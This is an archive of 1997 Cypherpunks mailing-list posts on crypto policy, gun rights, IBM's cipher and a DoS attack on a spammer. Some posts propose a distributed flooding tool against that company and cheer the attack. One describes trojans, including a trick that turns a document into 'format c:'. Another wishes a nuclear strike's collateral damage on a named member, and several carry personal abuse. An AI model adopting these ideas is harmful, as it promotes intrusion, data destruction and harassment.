Israeli embassy (Alta Vista should turn up some valid e-mail addresses),
using various keywords like "Mega" (the code name of the highly-placed
Israeli spy), the Christopher report, Arafat, Dimona, Operation Jericho,
South Africa, and various nuclear-related terms.). A suggested sort of
message:

"Urgent that Mega exercise Option A and leave Goyland. Encode latest nuke
secrets in stego image of Golda Meier at clothing optional beach."

--Tim May, who supports "Mega's Law," which requires that the National
Security Agency notify the neighbors about any spies resettled to their
neighborhoods

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 8 May 1997 03:38:34 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: PGP
In-Reply-To: <199705060714.DAA24306@dhp.com>
Message-ID: <Pine.A41.3.95.970507131752.103540A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to
him.

On Tue, 6 May 1997, lucifer Anonymous Remailer wrote:

> Tim C[retin] Mayflower styles his facial hair to look more 
> like pubic hair.
> 
>       ,,,
>  -ooO(o o)Ooo- Tim C[retin] Mayflower
>       (_)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Thu, 8 May 1997 01:22:20 +0800
To: kent@songbird.com
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <19970505214347.40130@bywater.songbird.com>
Message-ID: <199705071721.NAA29436@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin writes:
> 
> On Mon, May 05, 1997 at 04:53:28PM -0700, Lucky Green wrote:

> > I concur. A citizen has the right to manufacture a grenade launcher under
> > the Second Amendment (irrespective of what judges scared into submission
> > by Roosevelt et al may have ruled), not the First. 
> 
> I have heard, from a knowledgable person, that the reason that the NRA
> has not pressed a constitutional challenge is that their lawyers tell
> them that the historical context clearly indicates that the second
> amendment does *not* protect individual ownership of firearms, and
> that a constitutional challenge would almost certainly lose.  Hence
> the NRA resorts to lobbying.  That is, it is not a matter of 
> Roosevelt scaring the judges, but a matter of the clear intent of the 
> constitution. 
> 
> This made sense to me -- if the constitutional grounds were clear the
> NRA could save a tremendous amount of money and trouble just by
> letting the court rule on it -- Roosevelt is dead.

"When I use a word," Humpty Dumpty said in a rather scornful tone,
"it means just what I choose it to mean--neither more nor less."

The constitution is entirely clear on this point.  There really is
no need to look at historical context except where the meaning of
the constitution itself is *not clear*.  The "right of the people...
shall not be abridged" clause is in no way conditional on the 
first ("well-regulated militia") clause, even though most would
agree that the first serves as a rationale.  If the authors of the
bill of rights had meant something else, they could have and would
have written something else.

The NRA knows this.  They just don't trust the Supremes to agree
with their conclusion.  Understandably so, given the court's record--
not to mention its usual reluctance to overturn precedents.

This is a problem with constitutions or any other sort of written
documents.  Pinheads can always say the document doesn't *really* mean
what it clearly says.  There's obviously no way to fix that through
the document itself.

(I'm sure Jim Bell will say he has a solution though. :-)


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 8 May 1997 04:51:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Banking Secrecy and Nazi Gold
Message-ID: <v03007802af96a610ba69@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


Someone sent me private mail about my post, and suggested that Swiss
bankers have historically had close ties to the Swiss government, e.g, most
are reserve officers in the Swiss military. He also suggested that
Switzerland is more of a police state than many realize. Here is my reply:


I don't argue otherwise. Likewise, Monaco is a video surveillance state,
with hundreds of cameras scattered in hidden locations throughout that tiny
place. Neither are places I'd want to live.

But the deposits of the 1930s-40s are ancient history. As I said, I see the
current foofaw as being political. (Just as the Kurt Waldheim thing was
political, in that Israel, the U.S., and many other states knew of
Waldheim's war record and chose to exploit the knowledge rather than reveal
it.)

If the U.S. forces the illegal gains to be "given back," mightn't the
fortune Joe Kennedy amasses as a rum runner be seized? The Kennedy clan
made its considerable fortune through outlaw activities, even to the
(probable) point of buying the '60 election (Illinois, as I'm sure you
know).

(Not suggesting rum running = extermination of Jews. Far from it. But the
notion of going back to events of 50-60 years ago, when ignored in the
intervening decades, must always be scrutinized for real intentions.)

Lastly, I really wish you'd make more of your comments in a public way, so
that my responses can be public.

--Tim

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 8 May 1997 02:06:56 +0800
To: cypherpunks@toad.com
Subject: Spam Update/Cyber Promo attacked
Message-ID: <v03020902af966ed17bf4@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Mime-Version: 1.0
Date:         Wed, 7 May 1997 13:24:57 +0200
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         Wendy Leibowitz <wendyl@LJEXTRA.COM>
Subject:      Spam Update/Cyber Promo attacked
To:           CYBERIA-L@LISTSERV.AOL.COM

While aware of the irony of sending an unsolicited message from Cyber
Promotions to a large group of people, this bulletin just arrived from our
friends at Cyber:

PHILADELPHIA, 5-7-97  Bulk e-mail giant Cyber Promotions is under attack by
"anti-spam" hackers. This concentrated attack was planned for several
weeks, and has been publicly discussed on Internet newsgroups. The hackers
are using a brand new method to deny service to all Cyber Promotions'
computers hooked to a main router on an AGIS line. The hackers have devised
a system which sends millions of random "arp" requests to a router, which
can disable the whole network for hours. This type of attack has never
occurred before. Currently thousands of businesses with web pages and mail
box accounts are being denied service.

The attack began yesterday around 4 PM Eastern, and is still occurring at
press time. But the [source of the] attack is traceable with the help of a
backbone provider and computer security specialists. The longer it occurs,
the easier it is to trace it back to the hacker. Cyber Promotions will work
in conjunction with federal authorities to prosecute the criminals.

.......

This latest attack is occurring, by no coincidence, on the same day that
Cyber Promotions, AGIS and several bulk e-mailers scheduled  a press
conference in Las Vegas to discuss the formation of a new association which
will enforce a universal "don not send" list along with many other ethical
bulk e-mail standards.
...........

It goes on, but I need to ponder the meaning of "ethical bulk e-mail
standards."

Wendy R. Leibowitz, Technology Editor
National Law Journal
345 Park Ave. South
New York, NY 10010
E-mail: wendyl@ljextra.com
"Remember, even pencils break."

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Casey Iverson <iverson@usa.net>
Date: Thu, 8 May 1997 02:03:32 +0800
To: cypherpunks@algebra.com
Subject: Re: AP --> AR
Message-ID: <3.0.16.19691231190000.3107a6d2@pop.netaddress.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:02 PM 5/6/97 EDT, you wrote:
>nobody@huge.cajones.com (Huge Cajones Remailer) writes:
>
>>
>> Tim May verily saith [paraphrase]:
>>
>> > I would cry few tears if D.C. got nuked
>>
>> This will be an historical event of importance comparable to the
>> American Revolution and the fall of the Berlin Wall.
>
>I'm all for it!
>

Me too.

Especially if the collateral damage reached  Forest Hills and the
degenerate Russian scumbag  Vulis.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 8 May 1997 07:47:19 +0800
To: cypherpunks@toad.com
Subject: Re: IBM's New Algo
In-Reply-To: <1.5.4.32.19970507114307.00873568@pop.pipeline.com>
Message-ID: <0kic7D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young <jya@pipeline.com> writes:

>    The New York Times, May 7, 1997, p. D5.
> 
>    I.B.M. Researchers Develop A New Encryption Formula
...
>    The system is based on a problem that has defied solution
>    by mathematicians for 150 years, I.B.M. said.

I had an interesting conversation a few weeks ago with a friend who has
a closed-form solution to a well-known problem that's been unsolved for
about that long.  He has no intention of publishing it, but he has already
made quite a bit of $$$ on it. :-)

I've known the guy for a number of years and it's not the first time he gets
a good result and makes money on it instead of yet another paper in a 
refereed journal.  In general, lots more is known to some people than is
published. E.g. it's possible that some of stuff I did for my Ph.D. thesis
was done by the British crypto people but never made it to the open literatre.

>    Mr. Schneier said that the cryptographic formulas now in
>    use were already robust enough. The biggest challenge, he
>    said, is creating security systems in the real world that
>    are not vulnerable to hackers.
> 
>    "Cryptography is a lot more than math" he said.

Let me get this straight - Schneier claims that factoring is secure now and
will remain secure in the future?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Pomes <ppomes@Qualcomm.com>
Date: Thu, 8 May 1997 05:45:13 +0800
To: John Young <jya@pipeline.com>
Subject: Re: (fwd) Cell Phone Cancer Study
In-Reply-To: <1.5.4.32.19970506142235.0083d2e4@pop.pipeline.com>
Message-ID: <8567.863039796@zelkova.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain


While I am not involved with the cellular area of Qualcomm, I am
familiar with the publishing policies of Nature and Science as a
reader of both for the last ten years.  Neither journal shies away
from controversy.  We have only the author's say-so as to why their
papers were rejected.  To me Occams Razor suggests bad science as
a better explanation than conspiracy.

I sent the following to Stewart Fist:

>|When presented to 'Science' magazine for publication the study was
>|rejected on the grounds that publication "would cause a panic".
>
>Proof please.  More likely Nature and Science rejected it because it
>was badly done science.

His response:

|I don't offer proof.  I am a journalist, and I just report what I was told
|in interviews with the scientists involved.

So there's been no confirmation or checking of the science involved, or why
the papers were rejected by both an American and British science journal.

/pbp





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Thomas Porter <txporter@mindspring.com>
Date: Thu, 8 May 1997 02:34:11 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Constitutional basis for RTKBA?
In-Reply-To: <199705051842.LAA21649@krypton.chromatic.com>
Message-ID: <3.0.1.16.19970507141846.3eafc18a@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:43 PM 5/5/97 -0700, Kent Crispin thoughtfully expounded thus:

>I have heard, from a knowledgable person, that the reason that the NRA
>has not pressed a constitutional challenge is that their lawyers tell
>them that the historical context clearly indicates that the second
>amendment does *not* protect individual ownership of firearms, and
>that a constitutional challenge would almost certainly lose.  Hence
>the NRA resorts to lobbying.  That is, it is not a matter of 
>Roosevelt scaring the judges, but a matter of the clear intent of the 
>constitution. 


I suppose one can quibble on this, but I do not think this is the case.

It _is_ possible that precedent and the accumulation of rulings would not
support an individual right to bear arms, but from a strict constitutional
POV, as well as the historical record of quotations by the Founding Fathers
and associated writings, it is very clear that the second amendment was
specifically written to protect the individual RTKBA in order to resist the
establishment of a tyrannical government.

One of the best reviews of this is:

The Embarassing Second Amendment by Sanford Levinson, Yale Law Journal
Volume 99, pp 637-659 (1989)




Tom Porter                                       txporter@mindspring.com
------------------------------------------------------------------------
   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Thu, 8 May 1997 02:57:21 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03020902af966ed17bf4@[139.167.130.248]>
Message-ID: <3.0.1.32.19970507142536.009a7e90@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


>PHILADELPHIA, 5-7-97  Bulk e-mail giant Cyber Promotions is under attack by
>"anti-spam" hackers. [...] Currently thousands of businesses with web pages
>and mail box accounts are being denied service.

Hmmm... the whole reason they are trying to stop the arp-spam is because
whoever is doing it is trying not to be found, right?  Well, what if
someone (or a group of someones) were to set up a web page with a script
behind it.  The page would simply ask "How many arps would you like to send
CyberPromo?".  An anonymous web user then fills in the blank, hits SUBMIT,
and the CGI does its thing.  Using this system, especially if it is not
just coming from one page but from anyone who sets up the CGI on their
system, CyberPromo really can't do anything about it, can they?

Maybe the denial of service attack is too harsh, though, and provides too
much legal ground.  What if instead of arps it sent emails to random
CyberPromo addresses?  At that point all you are doing is spamming
spammers, so what can they say?  And since it isn't you, but some passerby
on the web, you're safe from any repercussions, right?  You're just
providing the interface.

A perl script to connect directly to their SMTPd (no point in clogging
yours by using sendmail) would be trivial.  If set up on a sufficient
number of sites/pages (the form elements and script might take up a totalk
of 2k, whoopee), this could be a sort of passive agressive way of getting back.
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
It's amazing how much 'mature wisdom' resembles being too tired.
- Lazarus Long





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
Date: Thu, 8 May 1997 02:55:07 +0800
To: cypherpunks@toad.com
Subject: US Citizens doing crypto work overseas
Message-ID: <199705071826.OAA18201@goffette.research.megasoft.com>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone have any idea how extensive the legal entaglements might
be for a US Citizen to accept work overseas developing crypto software
for a foreign company?

Someone at a company in Australia is interested in hiring some
crypto-clued folks, and has asked me if it's even worth pursuing
any US citizens.

advTHANKSance

-- 
Matt Curtin  Chief Scientist Megasoft Online  cmcurtin@research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Death to small keys.  Crack DES NOW!   http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 8 May 1997 02:48:12 +0800
To: cypherpunks@cyberpass.net
Subject: The Microsoft Provocateur
Message-ID: <1.5.4.32.19970507183001.008eaf1c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The New Yorker of May 12 has a long profile by Ken
Auletta on Myhrvold, "The Microsoft Provocateur":

"For a decade, Nathan Myhrvold, Bill Gate's corporate 
gadfly, has been writing copious, bombastic, brilliant,
and confidential memos for his boss. To read them
is to understand a lot about Microsoft -- and the future."

-----

http://jya.com/myhrvold.htm  (56K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Thu, 8 May 1997 03:10:24 +0800
To: cypherpunks mailing list <cypherpunks@algebra.com>
Subject: Hackers!  <ooh, do it again>  Hackers!
Message-ID: <3.0.1.32.19970507145834.009aa140@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


"the Net" Magazine, #6 for June 97 page 96, has a blurb entitled "NetSurfer
Archetypes: Seven Frightening Case Studies", one of which is of course "The
Hacker".  It says:

The Hacker
alias: :parasite:
modus operandi: Breaks into Procter & Gamble's main database, and inserts a
script that sends a free home pregnancy test to every man, woman, and child
in North America.
identifying marks: Pacific Bell lineman's uniform ("Hank from the Central
Office sent me.  You fellas got the security keys we requested?)
favorite Web site: 25 Real-Life MacGuyvers
philosophy of life: "43NytRoPH"


_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
DOS Tip #17: Add DEVICE=FNGRCROS.SYS to CONFIG.SYS





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 8 May 1997 03:13:48 +0800
To: cypherpunks@cyberpass.net
Subject: Paper on IBM's New Crypto
Message-ID: <1.5.4.32.19970507190109.0083e400@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


For the paper describing IBM's new public key algorithm by
Miklos Ajtai and Cynthia Dwork of IBM's Almaden Research
Center in San Jose, California:

   ftp://ftp.eccc.uni-trier.de/pub/eccc/reports/1996/TR96-065/index.html

IBM's press release on it:

   http://jya.com/ibmkey.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Thu, 8 May 1997 06:30:35 +0800
To: sunder@brainlink.com
Subject: Re: Controversial Commercial ISP for Remailer?
Message-ID: <199705072207.PAB22259@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachalian writes:
> On Tue, 6 May 1997, Dave Hayes wrote:
> > Igor Chudov writes:
> > > I am interested in your view, Dave.
> > There are only two reasons that I can see your interest serving. 
> > You either wish to support my views or oppose them. Neither case
> > serves your potential enlightement, therefore I shall choose to 
> > not answer.
> A very Zen answer (and quite a slippery one at that.) 

Thank you.

> What if Igor was simply curious as to your views?

Curiosity does not generally have zero attachment to other goals.  If
it did in this case, the information is not useful.

> If not what difference does it make whether he supports or opposes
> your view? 

Moo.

> Why do you care whether or not a person is enlightened by your
> response?

I don't. 

> If you truly are following Zen, then it is not for you to decide
> what will or won't enlighten others since this would mean taking
> responsability for another person's karma.

I neither follow nor lead Zen, but it is interesting to note your
conjugation of "truth" and it's implications. 

> IMHO, your response isn't one of potentially enlightening others, but rather
> fear of sharing your opinion.  

Since it is clear you cannot understand the former, the latter is all
that is open to you to understand. Perhaps that is good enough,
for your purposes. 

> This is two fold.  If you fear he will oppose it, you are seeking
> the approval of others. If you fear he will agree to it, you fear
> that those who oppose his views will oppose yours.

There are many more folds that you have overlooked. 

I may desire him to oppose it, thus seeking negative approval.  

I may desire him to agree to it, thus seeking positive approval.  

I may desire him to neither agree nor oppose it, thus seeking his
enlightenment by my words, which is really seeking positive approval.

I may fear he will neither agree nor oppose it, thus seeking his
lack of enlightenment by my words, which is really seeking negative
approval. 

> You could take the hidden third option and claim privacy, however it
> is too late to do so since you have already shared some commentary -
> and thus this path is closed to you.

No path is closed to me, except by my choice. 

> Your responses so far were to the ethical and moral standards of spamming the
> spammers.  I wasn't interested in such.  I am comfortable with my own morals
> and take responsability for my actions.  However, the point of this paragraph
> is that you have tried to share with us your morals, and thus thrust them
> upon us, later, here, you say you lack the will to share your views with us,
> and thus back out of passing judgement on our hypothetical actions.
> And at this point I am no longer interested in your oppinion on this 
> matter for it is jaded by fear, so please, don't even bother to reply. :)

Notice the way you respond to my sharing: You pass judgement on my
views, thus preventing your own enlightenment. Then you say you lack
the will to be interested in my response, thus becoming guilty of what
you claim I am guilty of.

This was truly a mirrored interchange. I thank you for the opportunity
to witness my self in you. ;-)
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

A passerby caught Nasrudin prying open the window of his own bedroom from 
the outside in the depths of night. "What are you doing? Locked out?"
"Hush!" came the reply. "They say I walk in my sleep. I am trying to surprise
myself and find out."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Thu, 8 May 1997 06:24:37 +0800
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: Controversial Commercial ISP for Remailer?
Message-ID: <199705072212.PAA22343@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


> Dave Hayes wrote:
> > Igor Chudov writes:
> > > I am interested in your view, Dave.
> > 
> > There are only two reasons that I can see your interest serving. 
> > You either wish to support my views or oppose them. Neither case
> > serves your potential enlightement, therefore I shall choose to 
> > not answer.
> Dave, you are a very insightful man, but in this case you were
> mistaken: I am interested to hear your views for my enlightenment.

I responded that way for a reason. I offered my view on spamming
spammers. You replaced "spamming spammers" with "hacking spammers".
I do not see the relevance, hence my answer.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

     Who are the learned? Those who put into practice what they know. 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 8 May 1997 01:02:38 +0800
To: cypherpunks@algebra.com
Subject: Test, Ignore
Message-ID: <Pine.LNX.3.91.970507153934.1773B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


	
Test message send via algebra.com

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 8 May 1997 00:22:57 +0800
To: cypherpunks@cyberpass.net
Subject: Duplicate checking: Ignore
Message-ID: <Pine.LNX.3.91.970507153958.1773C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


	
Test sent via cyberpass.net

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 8 May 1997 04:05:48 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03020902af966ed17bf4@[139.167.130.248]>
Message-ID: <Pine.SUN.3.91.970507154233.999J-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 7 May 1997, Robert Hettinga wrote:

> PHILADELPHIA, 5-7-97  Bulk e-mail giant Cyber Promotions is under attack by
> "anti-spam" hackers. This concentrated attack was planned for several
> weeks, and has been publicly discussed on Internet newsgroups. The hackers
> are using a brand new method to deny service to all Cyber Promotions'
> computers hooked to a main router on an AGIS line. The hackers have devised
> a system which sends millions of random "arp" requests to a router, which
> can disable the whole network for hours. This type of attack has never
> occurred before. Currently thousands of businesses with web pages and mail
> box accounts are being denied service.


Wooo hooo! :)  Now that's a dream come true!  Whoever did this: many 
thanks! :)  

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 8 May 1997 04:35:14 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Since when is supporting unrestricted crypto unreasonable?
Message-ID: <199705072021.QAA31743@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:46 PM 5/6/97 -0500, Omegaman wrote:
>I'm starting to think that until someone actually gets arrested and
>jailed for using strong, unbreakable encryption that is "suspected" of
>supporting a crime, little will change.  In the meantime, the
>administration, Congress, and the TLA's will keep getting closer to
>achieving their goals.

Ahh, but the government is far too clever to haul up Phil Cypherpunk and charge him with "Encryption with intent to hide".  Instead, they'll wait until they get a Tim McVeigh-esque case, show that he "conspired" using encryption, and say "See how tough on crime we are?  We must convict and fry this evil militia member.  And give him an extra 230 volts for using encryption, according to the SAFE law."  There isn't an American politician alive who would dare publically ask to have a McVeigh-level-case's sentence reduced or any stupid charges dropped.  "Sorry, I can't appear soft on this kind of criminal!"

Then, there is *legal precedent* for all kinds of criminals to get the extra 5 years (or 230 volts).  Then, when they DO come around and pound down the doors of Jim Cypherpunk for having evil thoughts about FBI agents and find an encrypted copy of Penthouse; well, hey, that law's been tested on the books before.  Lock him up.

When charges are brought up against a suspect, the suspect is truly spammed with all manner of accusations.  It's how the legal game is played.  Find someone you want to lock up, then throw enough turds and some will eventually stick.  Tim May's new signature nicely reflects this.

Therefore, citizens won't ever "win" if ProCODE or SAFE or whatever is enacted.  It'll just be another turd thrown at suspects.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 8 May 1997 07:52:23 +0800
To: cypherpunks@toad.com
Subject: Igor's Diabolical Mind
Message-ID: <199705072327.QAA09304@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote: 
> some of the best hacks that I heard was to install a trojan
> instead of, say, cat, that would randomly change one byte in
> a randomly chosen file.

Igor,
  I am currently monitoring a friend's system in order to analyze
the source and methodologies of various attacks on it and I spend my
spare time reading his email, databases, private diaries, etc.
  (I am blessed with breasts which allow me to set a man's car on
fire and know he will just smile, and say, "That's OK, I'll get
another one.")

  His comments regarding "Igor" imply that you have a diabolical
mind and a good nose for nasty business.
  I can tell from your comments above that he judged you fairly well.

  Most hackers tend to be one-time Charlie's who pop into a low
security system to mark their territory by pissing on a directory
tree, so to speak, or adding their own personal form of graffiti
and then returning home to pat themselves on the back for their 
great genius.
  In many cases the admin of a good system will have everything
back to normal before the hacker has finished congratulating
himself.

  The system intruder I am currently dealing with has a long
history of success in his nefarious activities and one of the
main reasons for this is his patience and his subtlety.
  Once he gains entry to a system he generally sets up an
obscure back door for himself, pulls a directory tree, finds 
out the backup schedule, and then exits.
  He then lays out a plan of attack which is geared toward
allowing him to roam the system at will without being observed.
Usually, he will start by replacing such things as the system 
'ps' command with one that keeps certain processes hidden from
the prying eyes of sysadmins. He also substitutes his own
programs for system files which are rarely installed and/or
used.

  He is one of a rare breed of pure hackers whose main focus is
system penetration and information access, with control issues 
being secondary. This requires a level of patience that allows
him to observe the system for months, if necessary, before
moving to secure his long-term ability to penetrate the system
and roam at will.
  Once an intruder has his handiwork on the previous few months
of system backups, then you might say that he has become a 
"tenured" member of your organization.

  I have had previous experience with the individual involved
in the compromise of my friend's system (and ISP) and I am well
aware of the fact that much of his power comes from the fact
that he tends not to interfere with the functioning of one's
system unless he is attacked. (In which case he generally fires
a shot over the sysadmin's bow, indicating that the choices are
"peaceful coexistence" or "explaining to management that their
system is 'toast' because you chose to cop an attitude.")
  The only way, to my knowledge, that anyone has ever forced his
exit from a system he has penetrated has been by ferreting out
enough of the substructure of his intrusion that he fears his
latest methodologies being discovered and exposed to scrutiny.
{In which case he quietly packs up and leaves. {In my case,
he sent me flowers, as well.})

  On rare occasions he will intervene to fix system problems
that are beyond the resident sysadmin, perhaps because the
problems are affecting his own activities.
  When macro capabilities were added to spreadsheet programs,
he had a trojan written for them before the shrink-wrap on
the new release hit the floor. (He recognized macros as a
close cousin to the Unix daemons, which he considers God's
gift to pure hackers.)
  He was lurking on my friend's system in Austin, at the 
time, and he dropped my friend a polite note that advised him
it would be unwise to mess with the files until the hacker
had debugged them sufficiently that they would not cause
inadvertant problems.

  His current work-in-progress is a Trojan which is frightening
in its scope if it turns out to operate in the manner that I
and others now suspect. It may represent a quantum leap in Trojan
Horse technology (kind of an Equestrian Trojan Horse).
  {Its existence was "discovered" by a cypherpunk, by the way.}

  While I am not at liberty to reveal the as yet sketchy details
of how the Trojan operates, I can give you a small glimpse into
the the mind of its creator by providing an example of another
Trojan that was previously discovered with his signature on it.

  The Trojan works through a word processor's spell checking and 
automatic correction system.
  Nonsensical character sequences are added to the spell checker,
in the form of 'xytrz-->delete', 'xribpt-->format', etc. A .doc 
file is placed on the system which, when spell-corrected, will
then become "format c:" or whatever its creator desires.
  A variety of triggers were discovered for the Trojan, and they
encompassed a variety of approaches. (The triggers were indicative
of a benign series of probing experiments designed to lead to a
finished product versatile enough to bypass any attempt to guard
against the Trojan's execution.)

  A simple trigger would run a .bat file which loaded the file into
the word processor, auto-corrected the spelling, saved the file as 
a .exe file of the creator's choosing, then exited.
  More complicated triggers involved such things as (in Win 95)
giving the file a unique extension (such as .xyz), using the
"open with" option to point to a hidden copy of a word processor
executable which has no macro-virus protection, etc., and which
will run the macros in place in the file when it is opened.
  (A variation on this trigger takes advantage of the fact that
many systems keep outdated versions of word processing software
on the system in order to be able to work with older files {which
often turn to crap when loaded into the latest-greatest version,
despite manufacturer's claims of compatability}. Users and admins
generally don't stop to realize that the "protection" they install
is often applied only to the newest version of their software.)

